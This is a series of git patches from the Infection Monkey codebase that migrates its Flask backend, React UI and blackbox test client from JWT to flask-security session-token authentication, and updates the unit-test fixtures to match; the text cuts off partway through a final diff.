a/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py index 7b7a3149464..d773bc8e232 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py @@ -1,45 +1,10 @@ -import flask_restful -import mongomock import pytest -from flask import Flask -from flask_mongoengine import MongoEngine -from flask_security import MongoEngineUserDatastore, Security - -import monkey_island -from monkey_island.cc.models import Role, User -from monkey_island.cc.services.representations import output_json - - -def init_mock_security_app(db_name): - app = Flask(__name__) - - app.config["SECRET_KEY"] = "test_key" - app.config["SECURITY_PASSWORD_SALT"] = b"somethingsaltyandniceandgood" - # Our test emails/domain isn't necessarily valid - app.config["SECURITY_EMAIL_VALIDATOR_ARGS"] = {"check_deliverability": False} - # Make this plaintext for most tests - reduces unit test time by 50% - app.config["SECURITY_PASSWORD_HASH"] = "plaintext" - app.config["TESTING"] = True - api = flask_restful.Api(app) - api.representations = {"application/json": output_json} - - monkey_island.cc.app.init_app_url_rules(app) - - db = MongoEngine() - db.disconnect(alias="default") - db.connect(db_name, host="mongodb://localhost", mongo_client_class=mongomock.MongoClient) - - user_datastore = MongoEngineUserDatastore(db, User, Role) - app.security = Security(app, user_datastore) - return app +from tests.unit_tests.monkey_island.conftest import init_mock_security_app @pytest.fixture(scope="function") def mock_flask_app(): - from common.utils.code_utils import insecure_generate_random_string - - db_name = insecure_generate_random_string(8) - app = init_mock_security_app(db_name) + app = init_mock_security_app() with app.app_context(): yield app diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index 65c8b974fb7..e5a83a36c6d 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -6,9 +6,13 @@ import flask_restful import pytest from flask import Flask +from flask_mongoengine import MongoEngine +from flask_security import MongoEngineUserDatastore, Security import monkey_island +from common.utils.code_utils import insecure_generate_random_string from monkey_island.cc.flask_utils import AbstractResource +from monkey_island.cc.models import Role, User from monkey_island.cc.services.representations import output_json @@ -29,19 +33,34 @@ def inner(file_name: str): return inner -def init_mock_app(): +def init_mock_security_app(): app = Flask(__name__) - app.config["SECRET_KEY"] = "test_key" + app.config["SECRET_KEY"] = "test_key" + app.config["SECURITY_PASSWORD_SALT"] = b"somethingsaltyandniceandgood" + # Our test emails/domain isn't necessarily valid + app.config["SECURITY_EMAIL_VALIDATOR_ARGS"] = {"check_deliverability": False} + # Make this plaintext for most tests - reduces unit test time by 50% + app.config["SECURITY_PASSWORD_HASH"] = "plaintext" + app.config["TESTING"] = True + app.config["MONGO_URI"] = "mongomock://some_host" api = flask_restful.Api(app) api.representations = {"application/json": output_json} monkey_island.cc.app.init_app_url_rules(app) + + db = MongoEngine() + db.disconnect(alias="default") + db_name = insecure_generate_random_string(8) + db.connect(db_name, host="mongodb://some_host") + + user_datastore = MongoEngineUserDatastore(db, User, Role) + app.security = Security(app, user_datastore) return app, api def mock_flask_resource_manager(container): - _, api = init_mock_app() + _, api = init_mock_security_app() flask_resource_manager = monkey_island.cc.app.FlaskDIWrapper(api, container) return flask_resource_manager From 8e5975dc30a09a8b4744c326f4bbf9d296f170c8 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 3 Mar 2023 19:13:57 +0100 Subject: [PATCH 0451/1338] UT: Set required app.config variables in mock app --- monkey/tests/unit_tests/monkey_island/conftest.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index e5a83a36c6d..a54de14abfa 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -42,8 +42,10 @@ def init_mock_security_app(): app.config["SECURITY_EMAIL_VALIDATOR_ARGS"] = {"check_deliverability": False} # Make this plaintext for most tests - reduces unit test time by 50% app.config["SECURITY_PASSWORD_HASH"] = "plaintext" + app.config["SECURITY_SEND_REGISTER_EMAIL"] = False app.config["TESTING"] = True app.config["MONGO_URI"] = "mongomock://some_host" + app.config["WTF_CSRF_ENABLED"] = False api = flask_restful.Api(app) api.representations = {"application/json": output_json} From 71ee0a864d743534d27df8a9b71170b9e60d8b1e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 3 Mar 2023 19:16:19 +0100 Subject: [PATCH 0452/1338] UT: Monkeypatch flask_security's protected function _check_token() so tests work --- monkey/tests/unit_tests/monkey_island/cc/conftest.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index e01fb845173..ec78aa6232f 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -1,5 +1,6 @@ from unittest.mock import MagicMock +import flask_security import pytest from tests.common import StubDIContainer from tests.monkey_island import OpenErrorFileRepository @@ -29,6 +30,8 @@ def repository_encryptor(): @pytest.fixture def flask_client(monkeypatch_session): + monkeypatch_session.setattr(flask_security.decorators, "_check_token", lambda: True) + container = MagicMock() container.resolve_dependencies.return_value = [] @@ -38,6 +41,8 @@ def flask_client(monkeypatch_session): @pytest.fixture def build_flask_client(monkeypatch_session): + monkeypatch_session.setattr(flask_security.decorators, "_check_token", lambda: True) + def inner(container): return get_mock_app(container).test_client() From 5e5fa06a24b3f7b263672518f082a474b79624cb Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 3 Mar 2023 19:56:20 +0100 Subject: [PATCH 0453/1338] UT: User request loader to discard the auth_token_required decorator --- .../unit_tests/monkey_island/cc/conftest.py | 9 ++--- .../monkey_island/cc/services/conftest.py | 2 +- .../unit_tests/monkey_island/conftest.py | 33 +++++++++++++++++-- 3 files changed, 34 insertions(+), 10 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index ec78aa6232f..1990d67cde0 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -1,6 +1,5 @@ from unittest.mock import MagicMock -import flask_security import pytest from tests.common import StubDIContainer from tests.monkey_island import OpenErrorFileRepository @@ -29,9 +28,7 @@ def repository_encryptor(): @pytest.fixture -def flask_client(monkeypatch_session): - monkeypatch_session.setattr(flask_security.decorators, "_check_token", lambda: True) - +def flask_client(): container = MagicMock() container.resolve_dependencies.return_value = [] @@ -40,9 +37,7 @@ def flask_client(monkeypatch_session): @pytest.fixture -def build_flask_client(monkeypatch_session): - monkeypatch_session.setattr(flask_security.decorators, "_check_token", lambda: True) - +def build_flask_client(): def inner(container): return get_mock_app(container).test_client() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py index d773bc8e232..2162dfb1940 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py @@ -4,7 +4,7 @@ @pytest.fixture(scope="function") def mock_flask_app(): - app = init_mock_security_app() + app, _ = init_mock_security_app() with app.app_context(): yield app diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index a54de14abfa..e747864b718 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -4,6 +4,7 @@ from typing import Set, Type import flask_restful +import mongomock import pytest from flask import Flask from flask_mongoengine import MongoEngine @@ -13,6 +14,7 @@ from common.utils.code_utils import insecure_generate_random_string from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.models import Role, User +from monkey_island.cc.resources.auth import Login, Logout, Register from monkey_island.cc.services.representations import output_json @@ -44,7 +46,7 @@ def init_mock_security_app(): app.config["SECURITY_PASSWORD_HASH"] = "plaintext" app.config["SECURITY_SEND_REGISTER_EMAIL"] = False app.config["TESTING"] = True - app.config["MONGO_URI"] = "mongomock://some_host" + app.config["MONGO_URI"] = "mongodb://some_host" app.config["WTF_CSRF_ENABLED"] = False api = flask_restful.Api(app) api.representations = {"application/json": output_json} @@ -54,13 +56,40 @@ def init_mock_security_app(): db = MongoEngine() db.disconnect(alias="default") db_name = insecure_generate_random_string(8) - db.connect(db_name, host="mongodb://some_host") + db.connect(db_name, mongo_client_class=mongomock.MongoClient) user_datastore = MongoEngineUserDatastore(db, User, Role) app.security = Security(app, user_datastore) + ds = app.security.datastore + with app.app_context(): + ds.create_user( + email="unittest@me.com", + username="test", + password="password", + ) + ds.commit() + + set_current_user(app, ds, "unittest@me.com") return app, api +def set_current_user(app, ds, email): + """Set up so that when request is received, + the token will cause 'user' to be made the current_user + """ + + def token_cb(request): + if ( + Register.urls[0] in request.url + or Logout.urls[0] in request.url + or Login.urls[0] in request.url + ): + return + return ds.find_user(email=email) + + app.security.login_manager.request_loader(token_cb) + + def mock_flask_resource_manager(container): _, api = init_mock_security_app() flask_resource_manager = monkey_island.cc.app.FlaskDIWrapper(api, container) From 8cfd29563fc417fa1f8dde0495a24198e8219014 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 6 Mar 2023 08:55:43 +0100 Subject: [PATCH 0454/1338] UT: Mock out response from logout view --- .../monkey_island/cc/resources/auth/test_logout.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py index 536923692d3..9ba4ec410af 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py @@ -19,7 +19,7 @@ def inner(request_body): @pytest.mark.parametrize( - "request_data", + "logout_response", [ "adfasdf", None, @@ -28,8 +28,11 @@ def inner(request_body): b"{bogus}", ], ) -def test_logout_failed(monkeypatch, make_logout_request, mock_authentication_service, request_data): - response = make_logout_request(request_data) +def test_logout_failed( + monkeypatch, make_logout_request, mock_authentication_service, logout_response +): + monkeypatch.setattr("monkey_island.cc.resources.auth.logout.logout", lambda: logout_response) + response = make_logout_request(TEST_REQUEST) mock_authentication_service.lock_repository_encryptor.assert_not_called() assert response.status_code == 400 From 66f552c7d733cdb55a9ca84094b13a9130408c88 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 6 Mar 2023 14:08:01 +0530 Subject: [PATCH 0455/1338] UT: Set PROPAGATE_EXCEPTIONS in flask app with a comment explaining it --- monkey/tests/unit_tests/monkey_island/conftest.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index e747864b718..caeb5852874 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -45,9 +45,20 @@ def init_mock_security_app(): # Make this plaintext for most tests - reduces unit test time by 50% app.config["SECURITY_PASSWORD_HASH"] = "plaintext" app.config["SECURITY_SEND_REGISTER_EMAIL"] = False + + # According to https://flask.palletsprojects.com/en/2.2.x/config/#TESTING, + # setting 'TESTING' results in exceptions being propagated instead of + # letting the app catch and handle them. + # Our UT suite consists of tests that check the error handling of the app, which is + # why we don't want the exceptions to be propagated. To do this, we're setting + # 'PROPAGATE_EXCEPTIONS' to False. + # https://flask.palletsprojects.com/en/2.2.x/config/#PROPAGATE_EXCEPTIONS app.config["TESTING"] = True + app.config["PROPAGATE_EXCEPTIONS"] = False + app.config["MONGO_URI"] = "mongodb://some_host" app.config["WTF_CSRF_ENABLED"] = False + api = flask_restful.Api(app) api.representations = {"application/json": output_json} @@ -70,6 +81,7 @@ def init_mock_security_app(): ds.commit() set_current_user(app, ds, "unittest@me.com") + return app, api From da1988a44cf5b833f8208f5adfe9889b4a2a4119 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 6 Mar 2023 10:33:01 +0100 Subject: [PATCH 0456/1338] UT: Remove inital user for AuthenticationService tests --- .../unit_tests/monkey_island/cc/services/conftest.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py index 2162dfb1940..7ea1aa9198e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py @@ -6,5 +6,13 @@ def mock_flask_app(): app, _ = init_mock_security_app() + ds = app.security.datastore + with app.app_context(): + + inital_user = ds.find_user(email="unittest@me.com") + if inital_user: + ds.delete_user(inital_user) + ds.commit() + yield app From 1400a96a51adb8c6830a148036b18146d7660bed Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 6 Mar 2023 16:35:34 +0530 Subject: [PATCH 0457/1338] Island: Fix location of @auth_token_required in ReportGenerationStatus resource --- monkey/monkey_island/cc/resources/report_generation_status.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/report_generation_status.py b/monkey/monkey_island/cc/resources/report_generation_status.py index ebc30b9a3b8..c23ab2a4b37 100644 --- a/monkey/monkey_island/cc/resources/report_generation_status.py +++ b/monkey/monkey_island/cc/resources/report_generation_status.py @@ -12,10 +12,10 @@ class ReportGenerationStatus(AbstractResource): def __init__(self, agent_repository: IAgentRepository): self._agent_repository = agent_repository + @auth_token_required def get(self): return self.report_generation_status() - @auth_token_required def report_generation_status(self): return jsonify( report_done=is_report_done(self._agent_repository), From 48a5bbc2dcb0b53fe716b2f8a1a4585fbf460fb5 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 3 Mar 2023 17:44:42 +0200 Subject: [PATCH 0458/1338] UI: Change AuthService to work with session token We migrated from JWT to session tokens, so UI needs to change and store it --- .../cc/ui/src/components/AuthComponent.js | 1 - .../cc/ui/src/components/Main.tsx | 3 +- .../cc/ui/src/services/AuthService.js | 36 ++++++++++--------- 3 files changed, 22 insertions(+), 18 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/AuthComponent.js b/monkey/monkey_island/cc/ui/src/components/AuthComponent.js index 9eb02a397bc..428c3272a00 100644 --- a/monkey/monkey_island/cc/ui/src/components/AuthComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/AuthComponent.js @@ -6,7 +6,6 @@ class AuthComponent extends React.Component { super(props); this.auth = new AuthService(); this.authFetch = this.auth.authFetch; - this.jwtHeader = this.auth.jwtHeader(); } } diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index fe241a14590..c06414ddf76 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -234,7 +234,8 @@ class AppComponent extends AuthComponent { }/> - new AuthService().logout()}/> + ( await new AuthService().logout() + .then(() => ()))}/> }/> {this.renderRoute(IslandRoutes.LandingPage, { return this._login(username, password); }; logout = () => { - return this._authFetch(this.LOGOUT_ENDPOINT) + return this._authFetch(this.LOGOUT_ENDPOINT, {method: 'POST'}) .then(response => response.json()) .then(response => { if(response.status === 200){ @@ -22,12 +27,6 @@ export default class AuthService { return this._authFetch(url, options); }; - jwtHeader = () => { - if (this.loggedIn()) { - return 'Bearer ' + this._getToken(); - } - }; - _login = (username, password) => { return this._authFetch(this.LOGIN_ENDPOINT, { method: 'POST', @@ -37,8 +36,9 @@ export default class AuthService { }) }).then(response => response.json()) .then(res => { - if (Object.prototype.hasOwnProperty.call(res, 'access_token')) { - this._setToken(res['access_token']); + let token = this._getTokenFromResponse(res); + if (token !== undefined) { + this._setToken(token); return {result: true}; } else { this._removeToken(); @@ -69,6 +69,10 @@ export default class AuthService { }) }; + _getTokenFromResponse= (response) => { + return _.get(response, 'response.user.'+this.TOKEN_NAME_IN_RESPONSE, undefined); + } + _authFetch = (url, options = {}) => { const headers = { 'Accept': 'application/json', @@ -76,7 +80,7 @@ export default class AuthService { }; if (this.loggedIn()) { - headers['Authorization'] = 'Bearer ' + this._getToken(); + headers['Authentication-Token'] = this._getToken(); } if (Object.prototype.hasOwnProperty.call(options, 'headers')) { @@ -110,19 +114,19 @@ export default class AuthService { loggedIn() { const token = this._getToken(); - return ((token !== null) && !this._isTokenExpired(token)); + return (token !== null); } _setToken(idToken) { - localStorage.setItem('jwt', idToken); + localStorage.setItem(this.TOKEN_NAME_IN_LOCALSTORAGE, idToken); } _removeToken() { - localStorage.removeItem('jwt'); + localStorage.removeItem(this.TOKEN_NAME_IN_LOCALSTORAGE); } _getToken() { - return localStorage.getItem('jwt') + return localStorage.getItem(this.TOKEN_NAME_IN_LOCALSTORAGE) } } From 342f6b3e78f838d8f0145774c5663aafb6fbca75 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 6 Mar 2023 14:10:17 +0200 Subject: [PATCH 0459/1338] UI: Add LogoutPage.tsx with logout loading screen --- .../cc/ui/src/components/Main.tsx | 5 ++-- .../cc/ui/src/components/pages/LogoutPage.tsx | 24 +++++++++++++++++++ .../cc/ui/src/services/AuthService.js | 3 ++- 3 files changed, 28 insertions(+), 4 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/pages/LogoutPage.tsx diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index c06414ddf76..170987384ea 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -28,7 +28,7 @@ import IslandHttpClient, { APIEndpoint } from "./IslandHttpClient"; import {FontAwesomeIcon} from "@fortawesome/react-fontawesome"; import {faFileCode, faLightbulb} from "@fortawesome/free-solid-svg-icons"; import { doesAnyAgentExist, didAllAgentsShutdown } from './utils/ServerUtils'; -import AuthService from '../services/AuthService'; +import LogoutPage from './pages/LogoutPage'; let notificationIcon = require('../images/notification-logo-512x512.png'); @@ -234,8 +234,7 @@ class AppComponent extends AuthComponent { }/> - ( await new AuthService().logout() - .then(() => ()))}/> + }/> }/> {this.renderRoute(IslandRoutes.LandingPage, { + const [logoutDone, setLogoutDone] = useState(false); + const auth = new AuthService(); + + auth.logout() + .then(res => { + if(res.meta.code === 200){ + setLogoutDone(true); + props.onStatusChange(); + } + }) + + if (logoutDone) { + return + } else { + return + } +} +export default LogoutPage; diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index 67c3b3e729b..42e49f3ce90 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -17,9 +17,10 @@ export default class AuthService { return this._authFetch(this.LOGOUT_ENDPOINT, {method: 'POST'}) .then(response => response.json()) .then(response => { - if(response.status === 200){ + if(response.meta.code === 200){ this._removeToken(); } + return response; }); } From f3d391460f0dea8c3d1bc89f45d094e8d2f8cb23 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 6 Mar 2023 16:04:33 +0200 Subject: [PATCH 0460/1338] Island: Remove flask_jwt_extended package This package is no longer needed as we are refactoring from JWT to session based authentication with flask-security-too --- monkey/monkey_island/Pipfile | 1 - monkey/monkey_island/Pipfile.lock | 16 ---------------- 2 files changed, 17 deletions(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index a6d2c6efb8f..dac51a7f2fd 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -15,7 +15,6 @@ ipaddress = ">=1.0.23" jsonschema = "==3.2.0" requests = ">=2.24" ring = ">=0.7.3" -Flask-JWT-Extended = "==4.*" Flask-RESTful = ">=0.3.8" Flask = ">=1.1" Werkzeug = ">=1.0.1" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index 04da15bc533..f7033e411eb 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -341,14 +341,6 @@ "index": "pypi", "version": "==2.2.3" }, - "flask-jwt-extended": { - "hashes": [ - "sha256:62b521d75494c290a646ae8acc77123721e4364790f1e64af0038d823961fbf0", - "sha256:a85eebfa17c339a7260c4643475af444784ba6de5588adda67406f0a75599553" - ], - "index": "pypi", - "version": "==4.4.4" - }, "flask-login": { "hashes": [ "sha256:1ef79843f5eddd0f143c2cd994c1b05ac83c0401dc6234c143495af9a939613f", @@ -738,14 +730,6 @@ "markers": "python_version >= '3.7'", "version": "==2023.0" }, - "pyjwt": { - "hashes": [ - "sha256:69285c7e31fc44f68a1feb309e948e0df53259d579295e6cfe2b1792329f05fd", - "sha256:d83c3d892a77bbb74d3e1a2cfa90afaadb60945205d1095d9221f04466f64c14" - ], - "markers": "python_version >= '3.7'", - "version": "==2.6.0" - }, "pymongo": { "hashes": [ "sha256:016c412118e1c23fef3a1eada4f83ae6e8844fd91986b2e066fc1b0013cdd9ae", From 2856a9b8e312499902dbf0996fd9999c9afa3a8d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 6 Mar 2023 15:40:49 +0100 Subject: [PATCH 0461/1338] BB: Fix blackbox authentication to use auth_token --- .../island_client/monkey_island_requests.py | 82 +++++++++---------- 1 file changed, 40 insertions(+), 42 deletions(-) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index b78a117ed46..02278b7e3be 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -1,14 +1,13 @@ import functools import logging -import time +from http import HTTPStatus from typing import Dict -import jwt import requests from egg_timer import EggTimer ISLAND_USERNAME = "test" -ISLAND_PASSWORD = "test" +ISLAND_PASSWORD = "testtest" LOGGER = logging.getLogger(__name__) @@ -23,17 +22,16 @@ class InvalidRegistrationCredentialsError(Exception): # noinspection PyArgumentList class MonkeyIslandRequests(object): def __init__(self, server_address): - self.addr = "https://{IP}/".format(IP=server_address) + self.addr = f"https://{server_address}/" self.refresh_token_timer = EggTimer() - self.token = self.try_get_jwt_from_server() + self.token = self.try_get_token_from_server() - def try_get_jwt_from_server(self): + def try_get_token_from_server(self): try: - return self.get_jwt_from_server() - except AuthenticationFailedError: - self.try_set_island_to_credentials() - return self.get_jwt_from_server() - except (requests.ConnectionError, InvalidRegistrationCredentialsError) as err: + return self.try_set_island_to_credentials() + except (requests.ConnectionError, InvalidRegistrationCredentialsError): + return self.get_token_from_server() + except AuthenticationFailedError as err: LOGGER.error( "Unable to connect to island, aborting! Error information: {}. Server: {}".format( err, self.addr @@ -41,90 +39,90 @@ def try_get_jwt_from_server(self): ) assert False - def get_jwt_from_server(self): - if not self.refresh_token_timer.is_expired(): - return self.token - + def get_token_from_server(self): resp = requests.post( # noqa: DUO123 - self.addr + "api/authenticate", + self.addr + "api/login?include_auth_token", json={"username": ISLAND_USERNAME, "password": ISLAND_PASSWORD}, verify=False, ) - if resp.status_code == 401: - raise AuthenticationFailedError - token = resp.json()["access_token"] - token_expire_time = jwt.decode( - token, algorithms="HS256", options={"verify_signature": False} - )["exp"] - self.refresh_token_timer.set((token_expire_time - time.time()) * 0.8) + if resp.status_code == 400: + raise AuthenticationFailedError + token = resp.json()["response"]["user"]["authentication_token"] return token def try_set_island_to_credentials(self): resp = requests.post( # noqa: DUO123 - self.addr + "api/register", + self.addr + "api/register?include_auth_token", json={"username": ISLAND_USERNAME, "password": ISLAND_PASSWORD}, verify=False, ) + if resp.status_code == 400: raise InvalidRegistrationCredentialsError("Missing part of the credentials") + token = resp.json()["response"]["user"]["authentication_token"] + return token + class _Decorators: @classmethod - def refresh_jwt_token(cls, request_function): + def refresh_auth_token(cls, request_function): @functools.wraps(request_function) def request_function_wrapper(self, *args, **kwargs): - self.token = self.try_get_jwt_from_server() # noinspection PyArgumentList + resp = request_function(self, *args, **kwargs) + if resp.status_code == HTTPStatus.UNAUTHORIZED: + self.token = self.get_token_from_server() + return request_function(self, *args, **kwargs) return request_function_wrapper - @_Decorators.refresh_jwt_token + @_Decorators.refresh_auth_token def get(self, url, data=None): return requests.get( # noqa: DUO123 self.addr + url, - headers=self.get_jwt_header(), + headers=self.get_auth_header(), params=data, verify=False, ) - @_Decorators.refresh_jwt_token + @_Decorators.refresh_auth_token def post(self, url, data): return requests.post( # noqa: DUO123 - self.addr + url, data=data, headers=self.get_jwt_header(), verify=False + self.addr + url, data=data, headers=self.get_auth_header(), verify=False ) - @_Decorators.refresh_jwt_token + @_Decorators.refresh_auth_token def put(self, url, data): return requests.put( # noqa: DUO123 - self.addr + url, data=data, headers=self.get_jwt_header(), verify=False + self.addr + url, data=data, headers=self.get_auth_header(), verify=False ) - @_Decorators.refresh_jwt_token + @_Decorators.refresh_auth_token def put_json(self, url, json: Dict): return requests.put( # noqa: DUO123 - self.addr + url, json=json, headers=self.get_jwt_header(), verify=False + self.addr + url, json=json, headers=self.get_auth_header(), verify=False ) - @_Decorators.refresh_jwt_token + @_Decorators.refresh_auth_token def post_json(self, url, json: Dict): return requests.post( # noqa: DUO123 - self.addr + url, json=json, headers=self.get_jwt_header(), verify=False + self.addr + url, json=json, headers=self.get_auth_header(), verify=False ) - @_Decorators.refresh_jwt_token + @_Decorators.refresh_auth_token def patch(self, url, data: Dict): return requests.patch( # noqa: DUO123 - self.addr + url, data=data, headers=self.get_jwt_header(), verify=False + self.addr + url, data=data, headers=self.get_auth_header(), verify=False ) - @_Decorators.refresh_jwt_token + @_Decorators.refresh_auth_token def delete(self, url): return requests.delete( # noqa: DUO123 - self.addr + url, headers=self.get_jwt_header(), verify=False + self.addr + url, headers=self.get_auth_header(), verify=False ) - def get_jwt_header(self): - return {"Authorization": "Bearer " + self.token} + def get_auth_header(self): + return {"Authentication-token": self.token} From aba62fa74c39564169619ce3cdf6ec8716962190 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 6 Mar 2023 17:47:38 +0200 Subject: [PATCH 0462/1338] BB: Fix bugs and improve style of monkey_island_requests.py --- .../island_client/monkey_island_requests.py | 29 +++++-------------- 1 file changed, 8 insertions(+), 21 deletions(-) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index 02278b7e3be..431b5d54cac 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -4,40 +4,26 @@ from typing import Dict import requests -from egg_timer import EggTimer ISLAND_USERNAME = "test" ISLAND_PASSWORD = "testtest" LOGGER = logging.getLogger(__name__) -class AuthenticationFailedError(Exception): +class InvalidRequestError(Exception): pass -class InvalidRegistrationCredentialsError(Exception): - pass - - -# noinspection PyArgumentList -class MonkeyIslandRequests(object): +class MonkeyIslandRequests: def __init__(self, server_address): self.addr = f"https://{server_address}/" - self.refresh_token_timer = EggTimer() self.token = self.try_get_token_from_server() def try_get_token_from_server(self): try: return self.try_set_island_to_credentials() - except (requests.ConnectionError, InvalidRegistrationCredentialsError): + except InvalidRequestError: return self.get_token_from_server() - except AuthenticationFailedError as err: - LOGGER.error( - "Unable to connect to island, aborting! Error information: {}. Server: {}".format( - err, self.addr - ) - ) - assert False def get_token_from_server(self): resp = requests.post( # noqa: DUO123 @@ -47,7 +33,7 @@ def get_token_from_server(self): ) if resp.status_code == 400: - raise AuthenticationFailedError + raise InvalidRequestError() token = resp.json()["response"]["user"]["authentication_token"] return token @@ -60,7 +46,7 @@ def try_set_island_to_credentials(self): ) if resp.status_code == 400: - raise InvalidRegistrationCredentialsError("Missing part of the credentials") + raise InvalidRequestError() token = resp.json()["response"]["user"]["authentication_token"] return token @@ -74,8 +60,9 @@ def request_function_wrapper(self, *args, **kwargs): resp = request_function(self, *args, **kwargs) if resp.status_code == HTTPStatus.UNAUTHORIZED: self.token = self.get_token_from_server() + resp = request_function(self, *args, **kwargs) - return request_function(self, *args, **kwargs) + return resp return request_function_wrapper @@ -125,4 +112,4 @@ def delete(self, url): ) def get_auth_header(self): - return {"Authentication-token": self.token} + return {"Authentication-Token": self.token} From 5aa0313a47e985c128ae8294c63f4ec249e08c51 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 7 Mar 2023 13:13:48 +0200 Subject: [PATCH 0463/1338] Island: Force Security to act as API Force Security to always respond as an API rather than HTTP server. We want 401 response instead of 301 for unauthorized requests for example --- monkey/monkey_island/cc/app.py | 3 +++ vulture_allowlist.py | 2 ++ 2 files changed, 5 insertions(+) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 96cb71545b2..b4a65ba03c4 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -114,6 +114,9 @@ class CustomConfirmRegisterForm(ConfirmRegisterForm): user_datastore, confirm_register_form=CustomConfirmRegisterForm, ) + # Force Security to always respond as an API rather than HTTP server + # This will cause 401 response instead of 301 for unauthorized requests for example + app.security._want_json = lambda _request: True app.session_interface = disable_session_cookies() diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 6e0278fd03c..ebf50b4bffc 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -1,4 +1,5 @@ from agent_plugins.exploiters.hadoop.plugin import Plugin as 